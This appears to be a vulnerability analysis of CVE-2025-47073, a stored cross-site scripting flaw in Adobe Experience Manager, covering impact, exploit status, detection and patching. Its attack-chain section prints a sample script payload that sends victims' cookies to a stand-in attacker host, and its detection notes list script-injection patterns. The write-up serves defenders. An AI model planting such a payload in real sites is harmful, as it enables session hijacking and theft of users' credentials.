CVE-2025-47073: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47073 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically the stored XSS variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into form fields within AEM; the payload is persisted server-side and executed in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a basic authenticated account. No public proof-of-concept or technical write-up has been identified at this time (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser within the context of the AEM application. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential compromise of user interactions with the AEM platform. While availability is not directly impacted, the confidentiality and integrity of user data and sessions are at risk (Adobe Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of publication. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using any valid low-privileged user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — fields where user input is stored and later rendered without proper sanitization.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save or submit the form.
5. Wait for victim interaction: When a victim (e.g., an administrator or another user) browses to the page containing the compromised field, the stored script executes in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data from the attacker-controlled server, enabling session hijacking or further unauthorized actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=) from low-privileged user accounts.
• Logs: AEM audit logs recording unexpected content modifications or form field updates by non-administrative users.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM pages, potentially carrying cookie or session data as query parameters.
• File System / Content Repository: Presence of JavaScript payloads (e.g., <script> tags, event handler attributes like onload=, onerror=) stored within AEM content nodes or form field values in the JCR repository.

Adobe has released patches addressing this vulnerability. Users should upgrade to AEM 6.5.23 or later for on-premise deployments, and to AEM Cloud Service 2025.5.0 or later for cloud deployments. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to limit script execution, enforce rigorous input validation and output encoding for all form fields, and restrict the ability of low-privileged users to submit content to sensitive areas of the platform (Adobe Advisory).